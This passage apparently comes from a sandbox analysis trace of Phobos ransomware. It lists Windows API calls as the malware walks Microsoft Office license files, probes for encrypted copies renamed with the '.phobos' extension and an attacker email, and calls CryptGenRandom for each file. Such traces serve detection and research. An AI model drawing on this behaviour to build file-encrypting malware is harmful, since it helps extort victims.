(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.982] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11586) returned 1 [0153.982] CloseHandle (hObject=0x528) returned 1 [0153.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.983] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.983] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19931) returned 1 [0153.983] CloseHandle (hObject=0x528) returned 1 [0153.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.984] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6796) returned 1 [0153.984] CloseHandle (hObject=0x528) returned 1 [0153.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.985] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.985] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0153.985] CloseHandle (hObject=0x528) returned 1 [0153.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.985] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.986] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9616) returned 1 [0153.986] CloseHandle (hObject=0x528) returned 1 [0153.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.986] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.987] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10631) returned 1 [0153.987] CloseHandle (hObject=0x528) returned 1 [0153.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-pl.xrm-ms")) returned 0x220 [0153.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.987] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.988] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6731) returned 1 [0153.988] CloseHandle (hObject=0x528) returned 1 [0153.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ppd.xrm-ms")) returned 0x220 [0153.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.988] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.989] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11591) returned 1 [0153.989] CloseHandle (hObject=0x528) returned 1 [0153.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.989] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.990] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19936) returned 1 [0153.990] CloseHandle (hObject=0x528) returned 1 [0153.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.990] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.990] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20692) returned 1 [0153.991] CloseHandle (hObject=0x528) returned 1 [0153.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ppd.xrm-ms")) returned 0x220 [0153.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.991] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.991] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11584) returned 1 [0153.991] CloseHandle (hObject=0x528) returned 1 [0153.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.992] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.992] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10631) returned 1 [0153.992] CloseHandle (hObject=0x528) returned 1 [0153.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.993] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.993] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20752) returned 1 [0153.993] CloseHandle (hObject=0x528) returned 1 [0153.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.994] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.994] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11577) returned 1 [0153.995] CloseHandle (hObject=0x528) returned 1 [0153.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.995] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19922) returned 1 [0153.996] CloseHandle (hObject=0x528) returned 1 [0153.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.996] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.996] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10623) returned 1 [0153.996] CloseHandle (hObject=0x528) returned 1 [0153.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-pl.xrm-ms")) returned 0x220 [0153.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 